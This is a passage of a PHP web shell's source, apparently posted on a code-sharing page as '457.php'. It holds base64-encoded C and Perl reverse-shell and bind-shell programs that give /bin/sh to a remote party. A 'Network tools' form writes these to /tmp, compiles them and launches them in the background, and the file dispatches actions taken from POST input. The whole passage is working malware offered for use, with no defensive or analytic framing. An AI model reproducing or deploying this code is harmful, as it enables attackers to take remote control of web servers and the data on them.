  2147.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  2148.         $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  2149.         $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  2150.         $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  2151.         echo "<h1>Network tools</h1><div class=content>
  2152.         <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
  2153.         <span>Bind port to /bin/sh</span><br/>
  2154.         Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
  2155.         </form>
  2156.         <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
  2157.         <span>Back-connect to</span><br/>
  2158.         Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
  2159.         </form><br>";
  2160.         if(isset($_POST['p1'])) {
  2161.                 function cf($f,$t) {
  2162.                         $w=@fopen($f,"w") or @function_exists('file_put_contents');
  2163.                         if($w)  {
  2164.                                 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  2165.                                 @fclose($w);
  2166.                         }
  2167.                 }
  2168.                 if($_POST['p1'] == 'bpc') {
  2169.                         cf("/tmp/bp.c",$bind_port_c);
  2170.                         $dokas = ex("gcc -o /tmp/bp /tmp/bp.c");
  2171.                         @unlink("/tmp/bp.c");
  2172.                         $dokas .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  2173.                         echo "<pre class=ml1>$dokas".ex("ps aux | grep bp")."</pre>";
  2174.                 }
  2175.                 if($_POST['p1'] == 'bpp') {
  2176.                         cf("/tmp/bp.pl",$bind_port_p);
  2177.                         $dokas = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  2178.                         echo "<pre class=ml1>$dokas".ex("ps aux | grep bp.pl")."</pre>";
  2179.                 }
  2180.                 if($_POST['p1'] == 'bcc') {
  2181.                         cf("/tmp/bc.c",$back_connect_c);
  2182.                         $dokas = ex("gcc -o /tmp/bc /tmp/bc.c");
  2183.                         @unlink("/tmp/bc.c");
  2184.                         $dokas .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  2185.                         echo "<pre class=ml1>$dokas".ex("ps aux | grep bc")."</pre>";
  2186.                 }
  2187.                 if($_POST['p1'] == 'bcp') {
  2188.                         cf("/tmp/bc.pl",$back_connect_p);
  2189.                         $dokas = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  2190.                         echo "<pre class=ml1>$dokas".ex("ps aux | grep bc.pl")."</pre>";
  2191.                 }
  2192.         }
  2193.         echo '</div>';
  2194.         hardFooter();
  2195. }
  2196. if( empty($_POST['a']) )
  2197.         if(isset($dect) && function_exists('action' . $dect))
  2198.                 $_POST['a'] = $dect;
  2199.         else
  2200.                 $_POST['a'] = 'FilesMan';
  2201. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2202.         call_user_func('action' . $_POST['a']);
  2203.  
File Description
  • 457.php
  • PHP Code
  • 26 Dec-2022
  • 125.43 Kb
You can Share it: